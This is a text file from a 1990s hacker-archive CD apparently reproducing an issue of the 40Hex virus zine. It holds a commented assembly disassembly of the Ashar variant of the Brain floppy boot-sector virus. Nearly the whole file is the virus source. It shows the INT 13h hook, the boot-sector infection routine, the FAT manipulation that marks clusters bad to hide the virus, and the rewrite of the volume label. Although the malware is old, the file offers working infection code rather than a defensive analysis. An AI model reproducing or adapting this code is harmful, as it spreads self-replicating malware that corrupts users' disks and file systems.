home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / 40hex_8.008 < prev    next >
Text File  |  1995-01-03  |  24KB  |  690 lines

  1. 40Hex Number 8 Volume 2 Issue 4                                       File 008
  2.  
  3. ; This is the ashar variant of the classic Pakistani Brain virus. It is large
  4. ; by today's standards, although it was one of the first.  It is a floppy only
  5. ; boot sector infector.
  6.  
  7. brain           segment byte public
  8.                 assume  cs:brain, ds:brain
  9. ; Disassembly done by Dark Angel of PHALCON/SKISM
  10.         org    0
  11.  
  12.                 cli
  13.                 jmp     entervirus
  14. idbytes         db       34h, 12h
  15. firsthead       db      0
  16. firstsector     dw      2707h
  17. curhead         db      0
  18. cursector       dw      1
  19.                 db      0, 0, 0, 0
  20.                 db      'Welcome to the  Dungeon         '
  21. copyright    db    '(c) 1986 Brain'
  22.                 db      17h
  23.         db    '& Amjads (pvt) Ltd   VIRUS_SHOE '
  24.         db    ' RECORD   v9.0   Dedicated to th'
  25.         db    'e dynamic memories of millions o'
  26.         db    'f virus who are no longer with u'
  27.         db    's today - Thanks GOODNESS!!     '
  28.                 db      '  BEWARE OF THE er..VIRUS  : \th'
  29.         db    'is program is catching      prog'
  30.         db    'ram follows after these messeges'
  31.         db    '..... $'
  32.         db    '#@%$'
  33.         db    '@!! '
  34. entervirus:
  35.         mov    ax,cs
  36.                 mov     ds,ax                   ; ds = 0
  37.                 mov     ss,ax                   ; set stack to after
  38.                 mov     sp,0F000h               ; virus
  39.                 sti
  40.                 mov     al,ds:[7C00h+offset firsthead]
  41.                 mov     ds:[7C00h+offset curhead],al
  42.                 mov     cx,ds:[7C00h+offset firstsector]
  43.                 mov     ds:[7C00h+offset cursector],cx
  44.                 call    calcnext
  45.                 mov     cx,5                    ; read five sectors
  46.                 mov     bx,7C00h+200h           ; after end of virus
  47.  
  48. loadnext:
  49.                 call    readdisk
  50.                 call    calcnext
  51.         add    bx,200h
  52.                 loop    loadnext
  53.  
  54.                 mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
  55.                 sub     ax,7                    ; - 7 Kb
  56.                 mov     word ptr ds:[413h],ax   ; Insert as new value
  57.         mov    cl,6
  58.                 shl     ax,cl                   ; Convert to paragraphs
  59.         mov    es,ax
  60.                 mov     si,7C00h                ; Copy from virus start
  61.                 mov     di,0                    ; to start of memory
  62.                 mov     cx,1004h                ; Copy 1004h bytes
  63.                 cld
  64.                 rep     movsb
  65.         push    es
  66.         mov    ax,200h
  67.         push    ax
  68.                 retf                            ; return to old boot sector
  69.  
  70. readdisk:
  71.         push    cx
  72.         push    bx
  73.                 mov     cx,4                    ; Try 4 times
  74.  
  75. tryread:
  76.         push    cx
  77.                 mov     dh,ds:[7C00h+offset curhead]
  78.                 mov     dl,0                    ; Read sector from default
  79.                 mov     cx,ds:[7C00h+offset cursector]
  80.                 mov     ax,201h                 ; Disk to memory at es:bx
  81.                 int     13h
  82.                 jnc     readOK
  83.                 mov     ah,0                    ; Reset disk
  84.                 int     13h                     ; (force read track 0)
  85.         pop    cx
  86.                 loop    tryread
  87.  
  88.                 int     18h                     ; ROM basic on failure
  89. readOK:
  90.         pop    cx
  91.         pop    bx
  92.         pop    cx
  93.         retn
  94.  
  95. calcnext:
  96.                 mov     al,byte ptr ds:[7C00h+offset cursector]
  97.         inc    al
  98.                 mov     byte ptr ds:[7C00h+offset cursector],al
  99.         cmp    al,0Ah
  100.                 jne     donecalc
  101.                 mov     byte ptr ds:[7C00h+offset cursector],1
  102.                 mov     al,ds:[7C00h+offset curhead]
  103.         inc    al
  104.                 mov     ds:[7C00h+offset curhead],al
  105.         cmp    al,2
  106.                 jne     donecalc
  107.                 mov     byte ptr ds:[7C00h+offset curhead],0
  108.                 inc     byte ptr ds:[7C00h+offset cursector+1]
  109. donecalc:
  110.         retn
  111.  
  112. ; the following is a collection of garbage bytes
  113.                 db       00h, 00h, 00h, 00h, 32h,0E3h
  114.                 db       23h, 4Dh, 59h,0F4h,0A1h, 82h
  115.                 db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
  116.                 db      0CDh, 21h,0A2h, 3Ch, 5Fh
  117. a_data          dw      050Ch
  118. ; Second part of the virus begins here
  119.                 jmp     short entersecondpart
  120.                 db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
  121. readcounter     db      4                       ; keep track of # reads
  122. curdrive        db      0
  123. int13flag       db      0
  124.  
  125. entersecondpart:
  126.                 mov     cs:readcounter,1Fh
  127.                 xor     ax,ax
  128.                 mov     ds,ax                   ; ds -> interrupt table
  129.                 mov     ax,ds:[13h*4]
  130.                 mov     ds:[6Dh*4],ax
  131.                 mov     ax,ds:[13h*4+2]
  132.                 mov     ds:[6Dh*4+2],ax
  133.                 mov     ax,offset int13         ; 276h
  134.                 mov     ds:[13h*4],ax
  135.         mov    ax,cs
  136.                 mov     ds:[13h*4+2],ax
  137.                 mov     cx,4                    ; 4 tries
  138.                 xor     ax,ax
  139.                 mov     es,ax                   ; es -> interrupt table
  140.  
  141. tryreadbootsector:
  142.         push    cx
  143.                 mov     dh,cs:firsthead
  144.         mov    dl,0
  145.                 mov     cx,cs:firstsector
  146.                 mov     ax,201h                 ; read from default disk
  147.         mov    bx,7C00h
  148.                 int     6Dh                     ; int 13h
  149.                 jnc     readbootOK
  150.         mov    ah,0
  151.                 int     6Dh                     ; int 13h
  152.         pop    cx
  153.                 loop    tryreadbootsector
  154.  
  155.                 int     18h                     ; ROM basic on failure
  156. readbootOK:                                     ; return control to
  157.                                                 ; original boot sector
  158. ;*              jmp     far ptr 0000:7C00h
  159.         db    0EAh, 00h, 7Ch, 00h, 00h
  160.                 nop                             ; MASM NOP!!!
  161. int13:
  162.                 sti
  163.                 cmp     ah,2                    ; if not read request,
  164.                 jne     doint13                 ; do not go further
  165.                 cmp     dl,2                    ; if after second floppy,
  166.                 ja      doint13                 ; do not go further
  167.                 cmp     ch,0                    ; if not reading boot sector,
  168.                 jne     regularread             ; go handle as usual
  169.                 cmp     dh,0                    ; if boot sector,
  170.                 je      readboot                ; do I<-/>/\|> stuff
  171. regularread:
  172.                 dec     cs:readcounter          ; Infect after 4 reads
  173.                 jnz     doint13                 ; If counter still OK, don't
  174.                                                 ; do anything else
  175.                 jmp     short readboot          ; Otherwise, try to infect
  176. doint13:
  177.                 jmp     exitint13h
  178. readboot:
  179. ; FINISH THIS!
  180.                 mov     cs:int13flag,0          ; clear flag
  181.                 mov     cs:readcounter,4        ; reset counter
  182.         push    ax
  183.         push    bx
  184.         push    cx
  185.         push    dx
  186.                 mov     cs:curdrive,dl
  187.         mov    cx,4
  188.  
  189. tryreadbootblock:
  190.         push    cx
  191.                 mov     ah,0                    ; Reset disk
  192.                 int     6Dh
  193.                 jc      errorreadingbootblock   ; Try again
  194.                 mov     dh,0
  195.         mov    cx,1
  196.                 mov     bx,offset readbuffer    ; buffer @ 6BEh
  197.         push    es
  198.         mov    ax,cs
  199.         mov    es,ax
  200.         mov    ax,201h
  201.                 int     6Dh                     ; Read boot sector
  202.         pop    es
  203.                 jnc     continuestuff           ; continue if no error
  204. errorreadingbootblock:
  205.                 pop     cx
  206.                 loop    tryreadbootblock
  207.  
  208.                 jmp     short resetdisk         ; too many failures
  209.                 nop
  210. continuestuff:
  211.                 pop     cx                      ; get system id in boot block
  212.                 mov     ax,word ptr cs:[offset readbuffer+4]
  213.                 cmp     ax,1234h                ; already infected?
  214.                 jne     dodisk                  ; if not, infect it
  215.                 mov     cs:int13flag,1          ; flag prev. infection
  216.                 jmp     short noreset
  217. dodisk:
  218.         push    ds
  219.         push    es
  220.         mov    ax,cs
  221.         mov    ds,ax
  222.         mov    es,ax
  223.         push    si
  224.                 call    writevirus              ; infect the disk
  225.                 jc      failme                  ; exit on failure
  226.                 mov     cs:int13flag,2          ; flag success
  227.                 call    changeroot              ; manipulate volume label
  228. failme:
  229.         pop    si
  230.         pop    es
  231.         pop    ds
  232.                 jnc     noreset                 ; don't reset on success
  233. resetdisk:
  234.                 mov     ah,0                    ; reset disk
  235.                 int     6Dh                     ; int 13h
  236. noreset:
  237.         pop    dx
  238.         pop    cx
  239.         pop    bx
  240.         pop    ax
  241.         cmp    cx,1
  242.                 jne     exitint13h
  243.         cmp    dh,0
  244.                 jne     exitint13h
  245.                 cmp     cs:int13flag,1          ; already infected?
  246.                 jne     wasntinfected           ; if wasn't, go elsewhere
  247.                 mov     cx,word ptr cs:[offset readbuffer+7]
  248.                 mov     dx,word ptr cs:[offset readbuffer+5]
  249.                 mov     dl,cs:curdrive          ; otherwise, read real
  250.                 jmp     short exitint13h        ; boot sector
  251. wasntinfected:
  252.                 cmp     cs:int13flag,2          ; successful infection?
  253.                 jne     exitint13h              ; if not, just do call
  254.                 mov     cx,cs:firstsector
  255.                 mov     dh,cs:firsthead
  256. exitint13h:
  257.                 int     6Dh                     ; int 13h
  258.                 retf    2
  259.         db    15 dup (0)
  260.  
  261. FATManip:                                       ; returns al as error code
  262.                 jmp     short delvedeeper
  263.                 nop
  264. FATManipreadcounter dw      3
  265.                 db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
  266. delvedeeper:
  267.                 call    readFAT                 ; Get FAT ID byte
  268.                 mov     ax,word ptr ds:[offset readbuffer]
  269.                 cmp     ax,0FFFDh               ; is it 360K disk?
  270.                 je      is360Kdisk              ; continue if so
  271.                 mov     al,3                    ; al=3 == not good disk
  272.                 stc                             ; flag error
  273.                 retn                            ; and exit
  274. is360Kdisk:
  275.         mov    cx,37h
  276.                 mov     FATManipreadcounter,0   ; none found yet
  277. checknextsector:
  278.                 call    FATentry12bit           ; get entry in FAT
  279.                 cmp     ax,0                    ; unused?
  280.                 jne     notunused
  281.                 inc     FATManipreadcounter     ; one more found unused
  282.                 cmp     FATManipreadcounter,3   ; If need more,
  283.                 jne     tryanother              ;  go there
  284.                 jmp     short markembad         ; found 3 consecutive
  285.                 nop                             ; empty sectors
  286. notunused:
  287.                 mov     FATManipreadcounter,0   ; must start over
  288. tryanother:
  289.                 inc     cx                      ; try next sector
  290.                 cmp     cx,163h                 ; end of disk?
  291.                 jne     checknextsector         ; if not, continue
  292.                 mov     al,1                    ; al=1 == none empty
  293.                 stc                             ; Indicate error
  294.         retn
  295. markembad:
  296.                 mov     dl,3                    ; 3 times
  297. markanotherbad:
  298.                 call    markbad12bit
  299.         dec    cx
  300.         dec    dl
  301.                 jnz     markanotherbad
  302.         inc    cx
  303.                 call    calc1sttrack
  304.                 call    writeFAT                ; update FAT
  305.                 mov     al,0                    ; al=0 == ok
  306.                 clc                             ; indicate success
  307.         retn
  308.  
  309. markbad12bit:
  310.                 push    cx
  311.         push    dx
  312.                 mov     si,offset readbuffer    ; si -> buffer
  313.         mov    al,cl
  314.                 shr     al,1
  315.                 jc      low_12                  ; low bits
  316.                 call    clus2offset12bit
  317.                 mov     ax,[bx+si]              ; get FAT entry
  318.                 and     ax,0F000h               ; mark it bad
  319.         or    ax,0FF7h
  320.                 jmp     short putitback         ; and put it back
  321.                 nop
  322. low_12:
  323.                 call    clus2offset12bit
  324.                 mov     ax,[bx+si]              ; get FAT entry
  325.                 and     ax,0Fh                  ; mark it bad
  326.         or    ax,0FF70h
  327. putitback:
  328.                 mov     [bx+si],ax              ; replace FAT entry
  329.                 mov     word ptr ds:[400h][bx+si],ax ; in two places
  330.         pop    dx
  331.         pop    cx
  332.         retn
  333.  
  334. FATentry12bit:
  335.         push    cx
  336.                 mov     si,offset readbuffer    ; si->buffer
  337.         mov    al,cl
  338.                 shr     al,1
  339. ; Part 3 of the virus starts here
  340.                 jc      want_high_12
  341.                 call    clus2offset12bit
  342.         mov    ax,[bx+si]
  343.                 and     ax,0FFFh
  344.                 jmp     short exitFATentry12bit
  345.                 nop
  346. want_high_12:
  347.                 call    clus2offset12bit        ; xxxxxxxxxxxx0000
  348.                 mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
  349.                 and     ax,0FFF0h               ; mask wanted bits
  350.                 mov     cl,4                    ; and move to correct
  351.                 shr     ax,cl                   ; position
  352. exitFATentry12bit:
  353.         pop    cx
  354.         retn
  355.  
  356. clus2offset12bit:
  357.         push    dx
  358.                 mov     ax,3
  359.                 mul     cx
  360.                 shr     ax,1                    ; ax = cx*1.5
  361.         mov    bx,ax
  362.         pop    dx
  363.         retn
  364.  
  365. readFAT:
  366.                 mov     ah,2                    ; read
  367.                 call    FAT_IO
  368.         retn
  369.  
  370. writeFAT:
  371.                 mov     ah,3                    ; write
  372.                 call    FAT_IO
  373.         retn
  374.  
  375. FAT_IO:
  376.                 mov     cx,4                    ; try four times
  377. FAT_IOLoop:
  378.         push    cx
  379.         push    ax
  380.                 mov     ah,0                    ; reset disk
  381.                 int     6Dh                     ; int 13h
  382.         pop    ax
  383.                 jc      tryFAT_IOagain
  384.                 mov     bx,offset readbuffer
  385.                 mov     al,4                    ; 4 sectors
  386.                 mov     dh,0                    ; head 0
  387.                 mov     dl,curdrive
  388.                 mov     cx,2                    ; sector 2
  389.                 push    ax                      ; (FAT)
  390.                 int     6Dh                     ; int 13h
  391.         pop    ax
  392.                 jnc     exitFAT_IO
  393. tryFAT_IOagain:
  394.         pop    cx
  395.                 loop    FAT_IOLoop
  396.  
  397.         pop    ax
  398.         pop    ax
  399.         mov    al,2
  400.                 stc                             ; mark error
  401.         retn
  402. exitFAT_IO:
  403.         pop    cx
  404.         retn
  405.  
  406. calc1sttrack:
  407.         push    cx
  408.                 sub     cx,2
  409.                 shl     cx,1                    ; 2 sectors/cluster
  410.                 add     cx,0Ch                  ; start of data area
  411.                 mov     ax,cx                   ; ax = sector
  412.                 mov     cl,12h                  ; 4096
  413.                 div     cl                      ; ax/4096 = al rem ah
  414.                 mov     byte ptr firstsector+1,al
  415.                 mov     firsthead,0
  416.         inc    ah
  417.                 cmp     ah,9                    ; past track 9?
  418.                 jbe     notpasttrack9           ; nope, we are ok
  419.                 sub     ah,9                    ; otherwise, adjust
  420.                 mov     firsthead,1
  421. notpasttrack9:
  422.                 mov     byte ptr firstsector,ah
  423.         pop    cx
  424.         retn
  425.  
  426.                 db      0, 0, 0, 0, 0, 0
  427. r_or_w_root     db      3
  428. entrycount      dw      35h
  429.  
  430. tempsave1       dw      303h
  431. tempsave2       dw      0EBEh
  432. tempsave3       dw      1
  433. tempsave4       dw      100h
  434.         db    0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
  435.         db     8Dh, 98h, 9Fh, 8Eh,0E0h
  436.         db    ' (c) ashar $'
  437. changeroot:
  438.                 call    readroot                ; read in root directory
  439.                 jc      donotchangeroot
  440.         push    di
  441.                 call    changevolume            ; change volume label
  442.         pop    di
  443.                 jc      donotchangeroot
  444.                 call    writeroot               ; write back new root dir
  445. donotchangeroot:
  446.         retn
  447. ; The following is just garbage bytes
  448.         db    0BBh, 9Bh, 04h,0B9h, 0Bh
  449.                 db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
  450.                 db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
  451.                 db      0C6h, 06h
  452.  
  453. changevolume:
  454.                 mov     entrycount,6Ch
  455.                 mov     si,offset readbuffer+40h; 3nd dir entry
  456.                 mov     tempsave1,dx
  457.                 mov     ax,entrycount           ; 6Ch
  458.                 shr     ax,1
  459.                 mov     tempsave3,ax            ; 36h
  460.                 shr     ax,1
  461.                 mov     tempsave2,ax            ; 1Bh
  462.                 xchg    ax,cx
  463.                 and     cl,43h                  ; cx = 3
  464.                 mov     di,tempsave2
  465.                 add     di,1E3h                 ; di = 01FE
  466. findlabel:
  467.         mov    al,[si]
  468.         cmp    al,0
  469.                 je      dolabel                 ; no mo entries
  470.                 mov     al,[si+0Bh]             ; attribute byte
  471.                 and     al,8                    ; volume label?
  472.                 cmp     al,8                    ; yes?
  473.                 je      dolabel                 ; then change it!
  474.                 add     si,20h                  ; go to next directory entry
  475.                 dec     entrycount
  476.                 jnz     findlabel               ; loop back
  477.                 stc                             ; Error!
  478.         retn
  479.         db    8Bh
  480. dolabel:
  481.                 mov     bx,[di]                 ; offset a_data
  482.                 xor     bx,tempsave3            ; bx = 53Ah
  483.                 mov     tempsave3,si            ; si->direntry
  484.                 cli
  485.         mov    ax,ss
  486.                 mov     tempsave1,ax
  487.                 mov     tempsave2,sp
  488.         mov    ax,cs
  489.         mov    ss,ax
  490.                 mov     sp,tempsave3
  491.                 add     sp,0Ch                  ;->reserved area
  492.                 mov     cl,51h
  493.         add    dx,444Ch
  494.                 mov     di,2555h
  495.         mov    cx,0C03h
  496.                 repe    cmpsw
  497.                 mov     ax,0B46h
  498.         mov    cx,3
  499.                 rol     ax,cl                   ; ax = 5A30h
  500.                 mov     tempsave3,ax
  501.         mov    cx,5
  502.         mov    dx,8
  503.                 sub     tempsave3,5210h         ; 820h
  504.                 push    tempsave3               ; store attributes/reserved
  505. ; I haven't commented the remainder of this procedure.
  506. ; It basically changes the volume label to read "(c) Brain"
  507.  
  508. ; Comment mode OFF
  509.  
  510. dowhatever:
  511.                 mov     ah,[bx]                 ; 5a3h
  512.         inc    bx
  513.                 mov     dl,ah
  514.                 shl     dl,1
  515.                 jc      dowhatever
  516. searchstuff:
  517.                 mov     dl,[bx]                 ; dl=C2h
  518.                 inc     bx                      ; bx=53Eh
  519.                 mov     al,dl
  520.                 shl     dl,1
  521.                 jc      searchstuff
  522.         add    ax,1D1Dh
  523.         push    ax
  524.                 inc     tempsave3
  525.                 db       73h, 01h               ; jnc $+3
  526.                 db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
  527.                 xchg    bp,ax
  528.                 add     al,0A1h
  529.                 xchg    bx,ax
  530.                 add     al,8Eh
  531.                 sar     bl,1
  532.                 add     dh,[bp+si]
  533.                 clc
  534.                 ret
  535.                 ;db       95h, 04h,0A1h, 93h, 04h, 8Eh
  536.                 ;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h
  537.  
  538. ; Comment mode ON
  539.  
  540. readroot:
  541.                 mov     r_or_w_root,2           ; set action code
  542.                 jmp     short do_rw_root        ; easier to do w/
  543.                 nop                             ; mov ah, 2
  544. writeroot:
  545.                 mov     r_or_w_root,3
  546.                 jmp     short do_rw_root        ; this is somewhat useless
  547.                 nop
  548. do_rw_root:
  549.                 mov     dh,0                    ; head 0
  550.                 mov     dl,curdrive
  551.                 mov     cx,6                    ; sector 6
  552.                 mov     ah,r_or_w_root
  553.                 mov     al,4                    ; 4 sectors
  554.                 mov     bx,offset readbuffer
  555.                 call    doint13h
  556.                 jc      exit_rw_root            ; quit on error
  557.         mov    cx,1
  558.                 mov     dh,1                    ; head 1
  559.                 mov     ah,r_or_w_root
  560.         mov    al,3
  561.         add    bx,800h
  562.                 call    doint13h
  563.  
  564. exit_rw_root:
  565.                 retn
  566.  
  567. doint13h:
  568.                 mov     tempsave1,ax
  569.                 mov     tempsave2,bx
  570.                 mov     tempsave3,cx
  571.                 mov     tempsave4,dx
  572.         mov    cx,4
  573.  
  574. doint13hloop:
  575.         push    cx
  576.                 mov     ah,0                    ; Reset disk
  577.                 int     6Dh
  578.                 jc      errordoingint13h
  579.                 mov     ax,tempsave1
  580.                 mov     bx,tempsave2
  581.                 mov     cx,tempsave3
  582.                 mov     dx,tempsave4
  583.                 int     6Dh                     ; int 13h
  584.                 jnc     int13hsuccess
  585. errordoingint13h:
  586.         pop    cx
  587.                 loop    doint13hloop
  588.  
  589.                 stc                             ; indicate error
  590.         retn
  591. int13hsuccess:
  592.         pop    cx
  593.         retn
  594.  
  595.         db    0, 0, 0
  596. ; Part 4 of the virus starts here
  597. tempstorecx     dw      3
  598. readwritecurrentdata    dw      301h
  599.  
  600. writevirus:
  601.                 call    FATManip
  602.                 jc      exitwritevirus
  603.                 mov     cursector,1
  604.                 mov     curhead,0
  605.                 mov     bx,offset readbuffer
  606.                 call    readcurrent
  607.                 mov     bx,offset readbuffer
  608.                 mov     ax,firstsector
  609.                 mov     cursector,ax
  610.                 mov     ah,firsthead
  611.                 mov     curhead,ah
  612.                 call    writecurrent
  613.                 call    calcnextsector
  614.         mov    cx,5
  615.         mov    bx,200h
  616. writeanothersector:
  617.                 mov     tempstorecx,cx
  618.                 call    writecurrent
  619.                 call    calcnextsector
  620.         add    bx,200h
  621.                 mov     cx,tempstorecx
  622.                 loop    writeanothersector
  623.  
  624.                 mov     curhead,0
  625.                 mov     cursector,1
  626.         mov    bx,0
  627.                 call    writecurrent
  628.                 clc                             ; indicate success
  629. exitwritevirus:
  630.         retn
  631.  
  632.  
  633. readcurrent:
  634.                 mov     readwritecurrentdata,201h
  635.                 jmp     short doreadwrite
  636.                 nop
  637. writecurrent:
  638.                 mov     readwritecurrentdata,301h
  639.                 jmp     short doreadwrite       ; This is pointless.
  640.                 nop
  641. doreadwrite:
  642.         push    bx
  643.         mov    cx,4
  644.  
  645. tryreadwriteagain:
  646.         push    cx
  647.                 mov     dh,curhead
  648.                 mov     dl,curdrive
  649.                 mov     cx,cursector
  650.                 mov     ax,readwritecurrentdata ; read or write?
  651.                 int     6Dh                     ; int 13h
  652.                 jnc     readwritesuccessful
  653.                 mov     ah,0                    ; reset disk
  654.                 int     6Dh                     ; int 13h
  655.         pop    cx
  656.                 loop    tryreadwriteagain
  657.  
  658.         pop    bx
  659.         pop    bx
  660.                 stc                             ; Indicate error
  661.         retn
  662. readwritesuccessful:
  663.         pop    cx
  664.         pop    bx
  665.         retn
  666.  
  667.  
  668. calcnextsector:
  669.                 inc     byte ptr cursector      ; next sector
  670.                 cmp     byte ptr cursector,0Ah
  671.                 jne     donecalculate           ; finished calculations
  672.                 mov     byte ptr cursector,1    ; clear sector #
  673.                 inc     curhead                 ; and go to next head
  674.                 cmp     curhead,2               ; if not too large,
  675.                 jne     donecalculate           ; we are done
  676.                 mov     curhead,0               ; otherwise clear head #
  677.                 inc     byte ptr cursector+1    ; and advance cylinder
  678. donecalculate:
  679.         retn
  680.  
  681.         db     64h, 74h, 61h
  682.  
  683. ; read buffer starts here
  684. ; insert your favorite boot block below...
  685. readbuffer:
  686. brain           ends
  687.                 end
  688.  
  689. Downloaded From P-80 International Information Systems 304-744-2253
  690.